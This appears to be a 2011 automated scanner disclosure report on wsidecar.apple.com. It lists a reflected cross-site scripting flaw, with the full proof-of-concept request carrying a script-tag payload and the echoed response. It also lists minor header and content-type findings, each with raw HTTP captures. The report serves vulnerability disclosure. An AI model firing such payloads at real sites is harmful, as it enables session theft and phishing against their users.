XSS, Initial Resultion Failure, Secondary Report, wsidecar.apple.com

RXSS in wsidecar.apple.com reported resolved at URL http://support.apple.com/kb/HT1318 without consultation of the reporter. Suggest to consult the reporter to ensure proper closure of privately reported vulnerabilities.

Report generated by XSS.CX at Fri Oct 14 08:15:02 CDT 2011.

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Loading



1. Cross-site scripting (reflected)

2. Cross-domain Referer leakage

3. HTML does not specify charset

4. Content type incorrectly stated

5. Content type is not specified

5.1. http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=21824&cat=87&platform=osx&method=sa

5.2. http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=23460&cat=72&platform=osx&method=sa

5.3. http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=24830&cat=68&platform=osx&method=sa



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://wsidecar.apple.com
Path:   /cgi-bin/au_edu/routingpage

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5243"><script>alert(1)</script>8be12fe660b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /cgi-bin/au_edu/routingpage?&cid=AOSAA0000049025&a5243"><script>alert(1)</script>8be12fe660b=1 HTTP/1.1
Host: wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?q=site%3Awsidecar.apple.com&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=firefox-a
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1318445785028'%5D%5D; s_vi=[CS]v1|2720215205161BD1-60000198C00CCAA5[CE]; dslang=US-EN; dssid2=7cc118d7-6109-43d1-84f6-aa8f098a4839; s_vnum_n_us=4%7C1%2C0%7C2%2C5%7C1%2C1%7C1; POD=us~en; asbid=sCKYA2DJ7PA2AFJAH; higherEdSchool=17933853; ac_search=cd%20f%7C%7C%7C%7Cpartners; ac_IsSearchHomePage=0; s_membership=1%3Ait; Pod=17

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 13:12:55 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.4
MS-Author-Via: DAV
Content-Type: text/html
Cache-Control: private
Content-Length: 6588

<html>
<head>
<title>Find Your School</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="http://a248.e.akamai.net/7/248/2041/774/store.apple.com/1-800-MY-APPL
...[SNIP]...
<a href="http://store.apple.com/133-622/WebObjects/individualAustralia?type=higherEd&cid=AOSAA0000049025&a5243"><script>alert(1)</script>8be12fe660b=1">
...[SNIP]...

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://wsidecar.apple.com
Path:   /cgi-bin/au_edu/routingpage

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /cgi-bin/au_edu/routingpage?&cid=AOSAA0000049025 HTTP/1.1
Host: wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?q=site%3Awsidecar.apple.com&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=firefox-a
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1318445785028'%5D%5D; s_vi=[CS]v1|2720215205161BD1-60000198C00CCAA5[CE]; dslang=US-EN; dssid2=7cc118d7-6109-43d1-84f6-aa8f098a4839; s_vnum_n_us=4%7C1%2C0%7C2%2C5%7C1%2C1%7C1; POD=us~en; asbid=sCKYA2DJ7PA2AFJAH; higherEdSchool=17933853; ac_search=cd%20f%7C%7C%7C%7Cpartners; ac_IsSearchHomePage=0; s_membership=1%3Ait; Pod=17

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 13:12:52 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.4
MS-Author-Via: DAV
Content-Type: text/html
Cache-Control: private
Content-Length: 6496

<html>
<head>
<title>Find Your School</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="http://a248.e.akamai.net/7/248/2041/774/store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore.woa/72503/sr/us/css/a/applestore.css" rel="stylesheet" media="all" type="text/css">
<style type="text/css">
...[SNIP]...

3. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://wsidecar.apple.com
Path:   /ndf/ndf.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /ndf/ndf.html HTTP/1.1
Host: wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?q=site%3Awsidecar.apple.com&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=firefox-a
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1318445785028'%5D%5D; s_vi=[CS]v1|2720215205161BD1-60000198C00CCAA5[CE]; dslang=US-EN; dssid2=7cc118d7-6109-43d1-84f6-aa8f098a4839; s_vnum_n_us=4%7C1%2C0%7C2%2C5%7C1%2C1%7C1; POD=us~en; asbid=sCKYA2DJ7PA2AFJAH; higherEdSchool=17933853; ac_search=cd%20f%7C%7C%7C%7Cpartners; ac_IsSearchHomePage=0; s_membership=1%3Ait; Pod=17

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 13:12:30 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.4
Accept-Ranges: bytes
MS-Author-Via: DAV
ntCoent-Length: 20
Content-Type: text/html
Cache-Control: private
Content-Length: 20

signalStatus("on");

4. Content type incorrectly stated  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://wsidecar.apple.com
Path:   /ndf/ndf.html

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /ndf/ndf.html HTTP/1.1
Host: wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?q=site%3Awsidecar.apple.com&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=firefox-a
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1318445785028'%5D%5D; s_vi=[CS]v1|2720215205161BD1-60000198C00CCAA5[CE]; dslang=US-EN; dssid2=7cc118d7-6109-43d1-84f6-aa8f098a4839; s_vnum_n_us=4%7C1%2C0%7C2%2C5%7C1%2C1%7C1; POD=us~en; asbid=sCKYA2DJ7PA2AFJAH; higherEdSchool=17933853; ac_search=cd%20f%7C%7C%7C%7Cpartners; ac_IsSearchHomePage=0; s_membership=1%3Ait; Pod=17

Response

HTTP/1.1 200 OK
Date: Fri, 14 Oct 2011 13:12:30 GMT
Server: Apache/2.2.17 (Unix) PHP/5.3.4
Accept-Ranges: bytes
MS-Author-Via: DAV
ntCoent-Length: 20
Content-Type: text/html
Cache-Control: private
Content-Length: 20

signalStatus("on");

5. Content type is not specified  previous
There are 3 instances of this issue:

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


5.1. http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=21824&cat=87&platform=osx&method=sa  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://wsidecar.apple.com
Path:   /cgi-bin/nph-reg3rdpty2.pl/product=21824&cat=87&platform=osx&method=sa

Request

GET /cgi-bin/nph-reg3rdpty2.pl/product=21824&cat=87&platform=osx&method=sa HTTP/1.1
Host: wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?q=site%3Awsidecar.apple.com&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=firefox-a
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1318445785028'%5D%5D; s_vi=[CS]v1|2720215205161BD1-60000198C00CCAA5[CE]; dslang=US-EN; dssid2=7cc118d7-6109-43d1-84f6-aa8f098a4839; s_vnum_n_us=4%7C1%2C0%7C2%2C5%7C1%2C1%7C1; POD=us~en; asbid=sCKYA2DJ7PA2AFJAH; higherEdSchool=17933853; ac_search=cd%20f%7C%7C%7C%7Cpartners; ac_IsSearchHomePage=0; s_membership=1%3Ait; Pod=17

Response



<html>
<head>
<meta http-equiv="refresh" content="1; URL=http://www.pdfgeni.com/iphone">
<script language="JavaScript">
<!--
function time() {
setTimeout("window.location.repla
...[SNIP]...

5.2. http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=23460&cat=72&platform=osx&method=sa  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://wsidecar.apple.com
Path:   /cgi-bin/nph-reg3rdpty2.pl/product=23460&cat=72&platform=osx&method=sa

Request

GET /cgi-bin/nph-reg3rdpty2.pl/product=23460&cat=72&platform=osx&method=sa HTTP/1.1
Host: wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?q=site%3Awsidecar.apple.com&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=firefox-a
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1318445785028'%5D%5D; s_vi=[CS]v1|2720215205161BD1-60000198C00CCAA5[CE]; dslang=US-EN; dssid2=7cc118d7-6109-43d1-84f6-aa8f098a4839; s_vnum_n_us=4%7C1%2C0%7C2%2C5%7C1%2C1%7C1; POD=us~en; asbid=sCKYA2DJ7PA2AFJAH; higherEdSchool=17933853; ac_search=cd%20f%7C%7C%7C%7Cpartners; ac_IsSearchHomePage=0; s_membership=1%3Ait; Pod=17

Response



<html>
<head>
<meta http-equiv="refresh" content="1; URL=http://thesickestkid.t35.com/iphone/twilight">
<script language="JavaScript">
<!--
function time() {
setTimeout("window
...[SNIP]...

5.3. http://wsidecar.apple.com/cgi-bin/nph-reg3rdpty2.pl/product=24830&cat=68&platform=osx&method=sa  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://wsidecar.apple.com
Path:   /cgi-bin/nph-reg3rdpty2.pl/product=24830&cat=68&platform=osx&method=sa

Request

GET /cgi-bin/nph-reg3rdpty2.pl/product=24830&cat=68&platform=osx&method=sa HTTP/1.1
Host: wsidecar.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?q=site%3Awsidecar.apple.com&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:unofficial&client=firefox-a
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1318445785028'%5D%5D; s_vi=[CS]v1|2720215205161BD1-60000198C00CCAA5[CE]; dslang=US-EN; dssid2=7cc118d7-6109-43d1-84f6-aa8f098a4839; s_vnum_n_us=4%7C1%2C0%7C2%2C5%7C1%2C1%7C1; POD=us~en; asbid=sCKYA2DJ7PA2AFJAH; higherEdSchool=17933853; ac_search=cd%20f%7C%7C%7C%7Cpartners; ac_IsSearchHomePage=0; s_membership=1%3Ait; Pod=17

Response



<html>
<head>
<meta http-equiv="refresh" content="1; URL=http://site-press.com/nationalweather/">
<script language="JavaScript">
<!--
function time() {
setTimeout("window.locat
...[SNIP]...

Report generated by XSS.CX at Fri Oct 14 08:15:02 CDT 2011.